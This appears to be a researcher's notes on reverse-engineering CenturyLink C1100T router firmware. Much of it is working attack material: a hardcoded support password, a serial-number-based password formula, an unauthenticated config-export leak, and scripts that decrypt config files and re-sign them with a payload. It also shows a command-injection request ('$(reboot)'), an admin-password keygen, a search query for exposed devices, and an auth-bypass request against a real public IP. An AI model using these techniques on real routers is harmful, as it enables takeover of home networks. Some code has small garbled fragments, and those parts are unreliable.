Inside the CenturyLink firmware.

Authentication, configuration encryption, and device-specific key material.

On this page

Research notes · CenturyLink OpenWrt vulnerability research

Reconnaissance

The device runs OpenWrt on MIPS32, with a backend built from Lua, NGINX, and shared libraries. Most observed public-facing devices exposed only port 443, making it the main entry point for analysis. Useful background and prior research: GitHub - Ansuel/tch-nginx-gui: Modified file to apply to a stock technicolor GUI Rooting Type 2 - Hacking Technicolor Gateways GitHub - pedro-n-rocha/secr GitHub - full-disclosure/FDEU-CVE-2020-1FC5: Telia Technicolor TG389ac v.17.1.7992 Samba privilege escalation exploit

Firmware download: Fetching Title#svt0 Fetching Title#76d0 Actiontec C3000A modem user guide | Brightspeed

Auth

Requests pass through:

CODE
nginx(/etc/nginx/nginx.conf)-> access_by_lua

The relevant components are:

CODE
lua_package_path ';;${prefix}lib/lua/?.lua';
lua_package_cpath '${prefix}lib/lua/?.so';

lua_package_path /usr/lib/lua/?.lua

NGINX's Lua module search location is configured by lua_package_path.

The Lua backend authentication configuration is in /etc/config/web. Example configuration:

CODE
config user "usr_admin"
	option name "admin:admin"
	option role "admin"
	option gak_id "1"
	option password_disabled "0"

config rule 'clink_csrf'
	option target '/CSRF'
	list roles 'guest'
	list roles 'admin'
	list roles 'support'

Configuration behavior: [OpenWrt Wiki] The UCI system Routes configured for encrypted transport accept only encrypted requests. The original notes refer to the authentication scheme as SAP: An introduction to SAP secure remote password authentication.

Vulnerability research

Authentication analysis identified two main accounts on the device. The accounts are admin and support. The support role has more privileges, but its password was not supplied, and it uses a different login page. Captured login requests used the identity I=admin:admin for the normal page and I=support:xxxx through sc_login.html. The authentication flow suggests that the first identity component denotes the role. The relevant configuration is in /etc/config/web:

CODE
config user "usr_support"
	option name "support:Century2016$"
	option role "support"
	option interface "lan"

Related permissions in /etc/config/clash:

CODE
config user 'engineer'

Following these clues led to password generation in /etc/uci-default/tch_0071-web.passwords.

SH
if [ "$USER" == "all" -o "$USER" == "usr_support" ]; then
    local key="$(uci get env.var.prod_number)!#$(uci get env.var.serial | tail -c 7)"
    _set_key "usr_support" "${key}"
    # Save the password to temporary storage for configuring CLASH
    uci -P /var/state set clash.engineer.passw=${key}
fi

The generation logic is:

CODE
prod_number+'!#'+ serial[-7:]

prod_number is stored in /etc/config/env.

CODE
config envvars 'var'
    option company_name 'Technicolor'
    option prod_friendly_name 'CenturyLink C1100T Gateway'
    option prod_name 'CenturyLink C1100T'
    option prod_number 'C1100T'

This suggested that the serial number was sufficient to derive the support password. Testing also found incomplete access control: The configuration contains:

CODE
config rule 'clink_export'
    option target '/export'
    list roles 'admin'
    list roles 'support'

However, a POST request without a cookie returned a configuration file. Its header exposed the serial number:

CODE
{'BACKUPVERSION': '1.00', 'BOARDMNEMONIC': 'VBNT-N', 'PRODUCTNAME': 'CenturyLink C1100T', 'SERIALNUMBER': 'CP2022BB5BF5823', 'MAC': '20:B0:01:88:A7:50', 'BUILDVERSION': 'CTW004-5.02.183.0412', 'CIPHERKEY': 'GW', 'SIGNATUREKEY': 'GW'}

File size: 118868
IV 16 c813a085776bc199f1dfdfc73b0f8bfc
HMAC 20 934b3ebf32431a61109755a1f0641305dde31ee6
AES data 118832

That allowed the support password to be constructed. The same password also applied to the SSH engineer account in this experiment:

CODE
C1100T#!BF5823

The password differs between routers because their serial numbers differ; the final seven characters are the relevant part of the derivation.

Configuration decryption

Because a configuration file could be retrieved, I investigated its decryption path. Following the calls led to /usr/lib/lua/wfr/webutil.lua.

CODE
/export -> handleExport() -> encrptyconfig

Encryption is implemented in /usr/lib/lua/transformer/shared/ConfigCommon.lua. Background research showed that this encryption scheme was open source and had already been reverse engineered. GitHub - antnks/technicolor-config-decrypt: Technicolor router config decryption and injection exploit The earlier vulnerability appeared to have been fixed: the support account could no longer use it to obtain root. The web service now ran as admin, which likely faced the same restriction. The decryption method was unchanged, but required the following device-side file:

CODE
local rip_path = "/proc/rip/"
local rip_random_B = "0108"

Decryption script:

PYTHON
#/usr/bin/env python
#-*-coding:utf-8-*-

from Crypto.Cipher import AES
import hmac
import hashlib

def read_header(file):
    headers = {}
    raw = []
    
    header = file.readline().strip().decode()
    if header != "PREAMBLE=THENC":
        raise ValueError("Invalid header")
    
    raw.append(header)
    
    while True:
        line = file.readline().strip().decode()
        if line == "":
            break
        
        parts = line.split('=', 1)
        if len(parts) != 2 or parts[0] in headers:
            raise ValueError("Invalid header line or duplicate key")
        
        k, v = parts
        headers[k] = v
        raw.append(line)
    
    # Add an explicit newline at the end
    raw.append("")
    rawcontent = file.read()
    return headers, rawcontent

def decrypt(key,iv,data):
    cipher_dec = AES.new (key, AES.MODE_CBC, iv)
    decrypted_raw = cipher_dec.decrypt (data)
    # remove padding
    decrypted = decrypted_raw[:-decrypted_raw[-1]]
    print(decrypted)
    decrypted_file = open("config.txt", "w")
    decrypted_file.write(decrypted.decode('utf-8'))
    decrypted_file.close()
    return decrypted

def encrypt(plaintext,payload,key,iv,hmac_key,header):
    # patch
    patched = plaintext.replace (b"wps_button_pressed.sh", payload)
    patch_file = open("config_patched.config", "w")
    patch_file.write(patched.decode("utf-8"))
    patch_file.close()

    # add padding
    patched_len = len(patched) % 16
    if patched_len:
        add_pad = 16 - patched_len
        pad = add_pad * chr(add_pad)
        patched += bytes(pad, "utf-8")

    # encrypt
    cipher_enc = AES.new (key, AES.MODE_CBC, iv)
    encrypted = cipher_enc.encrypt (patched)

    # calc new hmac
    hmac_new = hmac.new(hmac_key, header + iv + encrypted, digestmod=hashlib.sha1).digest()
    out = open ("config_patched.bin", "wb")
    out.write(header)
    out.write(iv)
    out.write(encrypted)
    out.write(hmac_new)
    out.close()

    print ("Written config_patched.bin")


with open('./C1100TConfig-2024-08-12.conf','rb') as f:
    header,rawcontent = read_header(f)

aes_end = len(rawcontent) - 20
iv = rawcontent[:16]
aes_data = rawcontent[16:aes_end]
hmac_data = rawcontent[aes_end:]
print(header)
print ("File size: " + str(len(rawcontent)))
print ("IV " + str(len(iv)) + " " + iv.hex())
print ("HMAC " + str(len(hmac_data)) + " " + hmac_data.hex())
print ("AES data " + str(len(aes_data)))
key = bytes.fromhex("72ab46c7e90c66feb4af261437bd738204c640dc7f0b9959ea18d582b6876783")
# decryptd = decrypt(key,iv,aes_data)
# print(decrypt)

# print(rawcontent)
# header = 
# rawcontent = contents[:]
# print(rawcontent[0])

Prior research describes the key file as follows:

CODE
key = read("/rip/0108",64)
aeskey = key[32:]
hmackey = key # Signs the configuration content; the value is checked even for a plaintext configuration upload.

The key file is not normally readable, so decryption requires either obtaining it or reproducing its contents. I suspected that the key might differ per device, but that a customized derivation could still be recoverable. Two experiments could test this: obtain shells on different devices and compare the files, or reverse engineer the derivation algorithm. Comparison alone would not settle the issue. Even if two RIP keys differed, they might still be derived from an accessible value such as the serial number. Understanding the derivation was therefore necessary.

Key investigation: comparing devices

The comparison approach requires two devices. Proposed experiments: Experiment one: Obtain a shell on each device and compare /proc/rip/0108. If the contents match, the comparison is complete. If they differ, continue the investigation. Experiment two: On one device, compare the file before and after a reboot and a factory reset.

This requires a root shell or another way to load the RIP kernel module separately. Because shell access was difficult, this approach was paused. In a decryption test, I used:
Decryption succeeded for some configuration files but not all of them. This suggested that the random value differs between boards, motivating analysis of whether the value can be reproduced. The value survived reboot and factory reset, suggesting that it belonged to the board rather than the firmware image. Its provisioning path still needed to be located.

Key investigation: static reverse engineering

Following the earlier clues and string references placed the relevant implementation in the kernel module /lib/modules/4.1.38/ripdrv.ko. Static analysis showed:

C
int __fastcall randomkeyB(int a1, int a2)
{
  _DWORD v4[16]; // [sp+14h] [-48h] BYREF; each DWORD occupies four bytes.

  if ( a2 < 64 )
    return 0;
  sub_D18("RandomKeyB", v4); // First 32 bytes: 256 bits.
  sub_D18("UpperHalfOfRandomKeyB", &v4[8]); // The next 32 bytes, despite the "UpperHalf" name.
  memcpy(a1, v4, 64); // Copy 64 bytes from v4 to a1.
  return 64;
}

The output is written here. Analysis of sub_D18:

C
  v6 = (void (__fastcall *)(_BYTE *, void *, int))sha256_desc[22];
  v6(v9, &clinkDrv_tchRandom, 32);
  v7 = strlen(a1);
  v6(v9, a1, v7);
  ((void (__fastcall *)(_BYTE *, _DWORD *))sha256_desc[23])(v9, a2);
  return _stack_chk_guard;

The function uses SHA-256; I temporarily named it sha256_encryption. A SHA-256 digest is 32 bytes, suggesting that the HMAC key concatenates two digests. The following reconstruction was refined with GPT assistance:

C
// Function pointer types for clarity
typedef void (__fastcall *SHA256InitFunc)(_BYTE *);
typedef void (__fastcall *SHA256UpdateFunc)(_BYTE *, void *, int);
typedef void (__fastcall *SHA256FinalFunc)(_BYTE *, _DWORD *);
// Function pointers
SHA256InitFunc sha256_init = (SHA256InitFunc)sha256_desc[21];
SHA256UpdateFunc sha256_update = (SHA256UpdateFunc)sha256_desc[22];
SHA256FinalFunc sha256_final = (SHA256FinalFunc)sha256_desc[23];
// Initialize the output buffer to zero
memset(a2, 0, sizeof(int) * 8);
// Initialize the SHA-256 context
sha256_init(v9);
// Update the SHA-256 context with a constant value
sha256_update(v9, &clinkDrv_tchRandom, 32);
// Update the SHA-256 context with the input string
size_t input_length = strlen(a1);
sha256_update(v9, a1, input_length);
// Finalize the SHA-256 computation and store the result in 'a2'
sha256_final(v9, a2);

The approximate derivation flow is:

C
get(clinkDrv_tchRandom,32)// Read 32 bytes from clinkDrv_tchRandom as salt material.
sha256(clinkDrv_tchRandom+RandomKeyB)// The effect of the two update calls and the source of clinkDrv_tchRandom still needed investigation.

The source of clinkDrv_tchRandom was located in /lib/modules/4.1.38/bankmgr.ko.

C
  mtd_device_nm = get_mtd_device_nm("nvram");
  v18 = 0;
  mtd_read(mtd_device_nm, v1, 0, 0x580, 0x400, &v18, &clinkDrv_nvram);
  mtd_read(mtd_device_nm, v2, 0, 0x1C100, 0x40, &v18, &clinkDrv_tchRandom);

The mtd_read prototype is:

C
ssize_t mtd_read(struct mtd_info *mtd, loff_t offset, size_t size, size_t *retlen, u_char *buf);

The reconstructed function is:

CODE
mtd_read(dev,offset,read_size,retvalue,destnation)

In essence, it reads 0x40 bytes from offset 0x1c100 in the nvram device and uses them as random-value material. This produced the following overall derivation model:

C
clinkDrv_tchRandom = mtd_read(0x1C100,0x40)
AESKEY_base = "RandomKeyB"
HMACKEY_base = "UpperHalfOfRandomKeyB"

AESKEY = sha256(clinkDrv_tchRandom+AESKEY_base)# The exact role of the two update calls still needed clarification at this stage.
HMACKEY = AESKEY + sha256(clinkDrv_tchRandom+HMACKEY_base)

The remaining question was whether the NVRAM value at 0x1c100 was fixed. The investigation tracked two tasks:

  • Determine the effect of the two update calls.
  • Determine how tchRandom is obtained. The following issue provided another clue: Command request · Issue #343 · Ansuel/tch-nginx-gui · GitHub
    That experiment reports a fixed value at /rip/0120. The corresponding identifier is RIP_ID_OSIK.
    Discussion with another researcher suggested that this value normally remains unchanged. Inspect /proc/mtd:
CODE
# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 03ce0000 00020000 "rootfs"
mtd1: 03ce0000 00020000 "rootfs_update"
mtd2: 00400000 00020000 "data"
mtd3: 00100000 00020000 "persist"
mtd4: 00020000 00020000 "nvram"
The corresponding block device is /dev/mtd4. Extracting mtd4 revealed tch_dsl_v01.0 near the beginning and tch_c1100t near the end. The device identifier is labeled boardnum.
The 64-byte value raised a further question: was it generated during initialization or provisioned from another image? Block-device writes would normally go through mtd_write. Because mtd4 includes device-specific identifiers, my initial hypothesis was that this content was not simply copied from a generic firmware image. I investigated initialization next.
One candidate NVRAM-write path was /usr/lib/libbcm_flashutil.so, but it did not contain the relevant write. Another candidate was /private/libcms_cli.so.
An older kernel version pointed to /bin/persist_init.
The implementation was located in vmlinux, under broad_ioctl:
This still wrote to the NVRAM MTD device. I continued examining other write paths:
The apparent write location instead looked like another read:

The second argument is important and comes from a structure.

C
typedef struct boardIoctParms
{
    char *string;
    char *buf;
    int strLen;
    int offset;
    BOARD_IOCTL_ACTION  action;        /* flash read/write: nvram, persistent, bcm image */
    int result;
} BOARD_IOCTL_PARMS;
The main argument is a string passed from user space.

The value appeared to originate from hardware provisioning. A comparable implementation is cfe-bcm63xx/hostTools/nvramembed.c.

The BCM63xx CFE binaries provided further context. In one binary, the first part matched the contents of mtd4, while the second contained compressed cferam.000 data. This argued against generation by the running device software and suggested provisioning through:
The write path remained a hypothesis, but the investigation established several useful observations:
CODE
An arbitrary-file-read path could potentially retrieve the complete contents of `/dev/mtd4`.
Reading `/persist/technicolor` could expose the random value; newer versions appeared to store it in `/dev/mtd5`.
This value is central to the device's authentication logic. Recovering it, or reproducing its derivation if it is algorithmic rather than independently random, could potentially affect authentication across related devices. That broader implication remained conditional.
The working hypothesis was that the device manufacturer provisions the random value through the SoC or board storage.
References for this section: GitHub - smx-smx/tch-cfe-emu: Technicolor CFE Emulator Technicolor DGA4132 with erased eripv2 · hack-technicolor/hack-technicolor · Discussion #295 · GitHub

Analyzing MTD4

BCM63 - Chip-Codenames - BoxMatrix Chip and bootloader reference: [OpenWrt Wiki] CFE. BoardID:BCM963268
Corresponding mtd4 content:

Reversing web requests

Requests after login are encrypted. Understanding the algorithm is necessary to decrypt responses or modify requests. The recovered encryption flow is:

CODE
IV = requestIV
data = requestbody
KEY = header.apikey

AES.CCM(IV,KEY,data)

A corresponding encryption and decryption script:

PYTHON
#!/usr/bin/env python

import json
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESCCM

def aes_ccm_decrypt_from_json(key, json_str):
    # Parse the JSON string
    data = json.loads(json_str)

    # Extract the values
    iv = base64.b64decode(data['iv'])
    ciphertext_and_tag = base64.b64decode(data['ct'])
    tag_size_bits = 64  # Tag size in bits
    tag_size_bytes = tag_size_bits // 8

    # Separate the ciphertext and the tag
    ciphertext = ciphertext_and_tag[:-tag_size_bytes]
    tag = ciphertext_and_tag[-tag_size_bytes:]

    # Perform decryption
    aesccm = AESCCM(key, tag_length=tag_size_bytes)
    try:
        plaintext = aesccm.decrypt(iv, ciphertext + tag, None)
        return plaintext
    except Exception as e:
        print(f"Decryption failed: {e}")
        return None

def aes_ccm_encrypt_to_json(key, plaintext, iv=None):
    # Generate a random IV if not provided
    if iv is None:
        iv = os.urandom(12)  # AES-CCM typically uses a 12-byte IV

    # Set the tag size (in bytes)
    tag_size_bytes = 8  # Corresponds to a 64-bit tag

    # Create AESCCM object
    aesccm = AESCCM(key, tag_length=tag_size_bytes)

    # Perform encryption
    ciphertext_and_tag = aesccm.encrypt(iv, plaintext, None)

    # Combine ciphertext and tag
    ciphertext = ciphertext_and_tag[:-tag_size_bytes]
    tag = ciphertext_and_tag[-tag_size_bytes:]

    # Encode the IV, ciphertext, and tag in base64
    iv_b64 = base64.b64encode(iv).decode('utf-8')
    ct_b64 = base64.b64encode(ciphertext + tag).decode('utf-8')

    # Create the JSON structure
    encrypted_data = {
        "iv": iv_b64,
        # "v": 1,
        # "iter": 10000,
        # "ks": len(key) * 8,  # Key size in bits
        # "ts": tag_size_bytes * 8,  # Tag size in bits
        # "mode": "ccm",
        # "adata": "",
        # "cipher": "aes",
        "ct": ct_b64
    }

    return json.dumps(encrypted_data)


if __name__ == "__main__":
    # Provided key and JSON string
    key = bytes.fromhex('2d23ed4accb61e358d4cdff37dcfa0dd673c73868527b324b5e094e732a22be6')
    json_str = ''# request body
    plaintext = aes_ccm_decrypt_from_json(key, json_str)
    if plaintext:
        print("Decrypted plaintext:", plaintext.decode('utf-8'))

    plaintext = b'{"CSRFtoken":"9c84c68cb86d7090f829fc566566dd5153415fdcb3db85c8c1800b0ff78c69a1","command":"set","data":{"webui.as.admin.username":"admin","webui.as.admin.password_disabled":"0","webui.as.admin.credentials":"admin \'123$(reboot)\'"}}'
    # Example usage.
    # Encrypt.
    encrypted_json = aes_ccm_encrypt_to_json(key, plaintext,base64.b64decode('owcuTWu7WQY='))
    print(encrypted_json)

Deriving the initial password from the random value

The algorithm can be recovered by reversing ripdrv.ko.

PYTHON
#/usr/bin/env python
#-*-coding:utf-8-*-

import hashlib

def getkey(input,clinkDrv_tchRandom):
    sha256 = hashlib.sha256()
    sha256.update(clinkDrv_tchRandom)
    sha256.update(input.encode('utf-8'))
    return sha256.digest()

def high_byte(value):
    return (value %3E> 24) & 0xff

def byte2(value):
    return (value >> 16) & 0xFF

def get_char_from_hash(hash_value):
    strings = "ABCDEFGHJKLMNPQRSTUVWXYZ"
    high_byte_value = high_byte(hash_value)
    index = high_byte_value % len(strings)
    return strings[index]

def sub_B2C(a1, a2, a3, a4, a6):
    a5 = []
    v18 = int.from_bytes(a1, byteorder='big')
    v15 = a4
    for _ in range(a6):
        v17 = v18 % v15 
        v18 //= v15 
        a5.append(a3[v17])
    a5.reverse()
    return ''.join(a5)

def traverse_string(s, start_char):
    start_index = s.index(start_char)
    left_part = s[start_index::-1]
    right_part = s[:start_index:-1]
    traversal_order = left_part + right_part
    
    return traversal_order

if __name__ == "__main__":
    with open('./mtd4','rb') as f:
        clinkDrv_tchRandom = f.read()[0x1c100:0x1c140]
    print(clinkDrv_tchRandom.hex())
    key = getkey("admin",clinkDrv_tchRandom[:32])
    admin_hex = key.hex()
    print(admin_hex)
    admin_hash = int(admin_hex[:8],16)
    admin_hash3 = bytes.fromhex(admin_hex[8:])
    frist_char = get_char_from_hash(admin_hash)
    second = sub_B2C(admin_hash3,len(admin_hash3),"23456789abcdefghijkmnpqrstuvwxyz",len("23456789abcdefghijkmnpqrstuvwxyz"),7)
    admin_pass = frist_char + second
    index =  (byte2(admin_hash) & 7 ) - 1
    password = traverse_string(admin_pass, admin_pass[index])
    print(password)

CVE-2019-19639

0day

fofa:

CODE
(app="CenturyLink-Modem" || app="CenturyLink-Modem-Configuration") && body=" private property"
Auth Bypass
CODE
GET /advancedsetup_admin.html?_refresh.html HTTP/1.1
Host: 67.135.198.30
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: css_js_update_ctl=20180301


Command Injection

Key generation

GitHub - PlumLulz/centurylink3510py: Zyxel C3510ZX Keygen